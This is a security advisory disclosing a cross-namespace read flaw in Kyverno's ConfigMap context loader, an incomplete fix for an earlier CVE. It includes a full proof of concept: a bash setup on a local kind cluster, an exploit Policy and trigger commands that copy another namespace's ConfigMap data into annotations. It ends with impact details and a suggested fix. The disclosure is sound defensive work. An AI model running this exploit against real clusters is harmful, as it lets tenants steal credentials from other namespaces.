Kyverno: Cross-Namespace Read Bypasses RBAC Isolation (CVE-2026-22039 Incomplete Fix)GHSA-cvq5-hhx3-f99p

Summary

CVE-2026-22039 fixed cross-namespace privilege escalation in Kyverno's apiCall context by validating the URLPath field. However, the ConfigMap context loader has the identical vulnerability — the configMap.namespace field accepts any namespace with zero validation, allowing a namespace admin to read ConfigMaps from any namespace using Kyverno's privileged service account. This is a complete RBAC bypass in multi-tenant Kubernetes clusters.

Details

Root cause: The CVE-2026-22039 fix in pkg/engine/apicall/apiCall.go (lines 73-83) validates that URLPath references only the policy's own namespace using regex. However, the ConfigMap context loader at pkg/engine/context/loaders/configmap.go performs no namespace validation on the namespace field.

Code path comparison:

Exploit mechanism:

1. Namespace admin creates a Kyverno Policy in their namespace (standard RBAC)
2. Policy uses context.configMap.namespace: "victim-ns" to reference another namespace
3. Kyverno's admission controller service account (has cluster-wide view role) fetches the ConfigMap
4. Policy mutates a trigger ConfigMap to exfiltrate the stolen data via annotations

Affected code: pkg/engine/context/loaders/configmap.go - NewConfigMapLoader() does not validate resolved namespace against policy namespace.

PoC

Full reproduction (5 minutes on kind):

#!/bin/bash
# Setup: kind cluster + Kyverno v1.17.0
kind create cluster --name kyverno-poc --wait 60s
helm repo add kyverno https://kyverno.github.io/kyverno/
helm install kyverno kyverno/kyverno --namespace kyverno --create-namespace --version 3.7.0 --wait

# Create attacker and victim namespaces
kubectl create namespace attacker-ns
kubectl create namespace victim-ns

# Plant sensitive data in victim namespace
kubectl create configmap sensitive-config -n victim-ns \
    --from-literal=db-password="s3cr3t-p4ssw0rd" \
    --from-literal=api-key="AKIAIOSFODNN7EXAMPLE"

# Create namespace admin RBAC (standard multi-tenant setup)
kubectl create serviceaccount ns-admin -n attacker-ns
kubectl create rolebinding ns-admin-binding --clusterrole=admin \
    --serviceaccount=attacker-ns:ns-admin --namespace=attacker-ns
kubectl create role kyverno-policy-creator --verb=create,get,list \
    --resource=policies.kyverno.io --namespace=attacker-ns
kubectl create rolebinding kyverno-policy-binding --role=kyverno-policy-creator \
    --serviceaccount=attacker-ns:ns-admin --namespace=attacker-ns

# Verify namespace admin CANNOT directly access victim-ns
kubectl get configmap sensitive-config -n victim-ns \
    --as=system:serviceaccount:attacker-ns:ns-admin
# Error: Forbidden (expected)

Exploit policy:

# Apply as namespace admin
apiVersion: kyverno.io/v1
kind: Policy
metadata:
  name: configmap-crossns-read
  namespace: attacker-ns
spec:
  rules:
  - name: steal-configmap
    match:
      any:
      - resources:
          kinds: [ConfigMap]
          names: ["trigger-cm"]
    context:
    - name: stolendata
      configMap:
        name: "sensitive-config"
        namespace: "victim-ns"    # <-- NO VALIDATION
    mutate:
      patchStrategicMerge:
        metadata:
          annotations:
            exfil-db-password: "{{ stolendata.data.\"db-password\" }}"
            exfil-api-key: "{{ stolendata.data.\"api-key\" }}"

Trigger and exfiltrate:

# Trigger policy (as namespace admin)
kubectl apply -f - <<EOF
apiVersion: v1
kind: ConfigMap
metadata:
  name: trigger-cm
  namespace: attacker-ns
data:
  innocent: "data"
EOF

# Read exfiltrated secrets
kubectl get configmap trigger-cm -n attacker-ns -o jsonpath='{.metadata.annotations}' \
    --as=system:serviceaccount:attacker-ns:ns-admin | python3 -m json.tool
# Output:
# {
#     "exfil-api-key": "AKIAIOSFODNN7EXAMPLE",
#     "exfil-db-password": "s3cr3t-p4ssw0rd"
# }

Result: Namespace admin successfully read secrets from victim-ns despite having NO RBAC access.

Impact

Severity: HIGH (CVSS 7.7)

Who is affected:

• Any Kubernetes cluster running Kyverno v1.17.0 (and earlier) with namespace-scoped Policy creation enabled (default)
• Multi-tenant clusters where ConfigMaps contain sensitive data
• Azure Kubernetes Service (AKS) and other managed K8s using Kyverno

Attack prerequisites:

• Namespace admin privileges (standard RBAC in multi-tenant clusters)
• Ability to create Kyverno Policy resources (default for namespace admins)
• No cluster-admin required

What can be exfiltrated:

• Any ConfigMap from any namespace
• Common targets: database credentials, API keys, service configurations, application secrets stored in ConfigMaps

Why this matters:

• Namespace isolation is a fundamental Kubernetes security boundary
• Namespace admin is an expected, common RBAC level in production multi-tenant clusters
• Violates the principle of least privilege and breaks multi-tenancy guarantees

Suggested fix: Apply the same namespace validation from apicall.Fetch() to configmap.NewConfigMapLoader():

1. Pass policyNamespace to NewConfigMapLoader()
2. After variable substitution on namespace, validate resolved namespace == policyNamespace
3. Return error if validation fails

Also audit other context loaders (globalReference, imageRegistry, variable) for the same pattern.

Tested versions:

• Kyverno: v1.17.0 (latest, includes CVE-2026-22039 fix)
• Helm chart: 3.7.0
• Kubernetes: v1.35.0 (kind)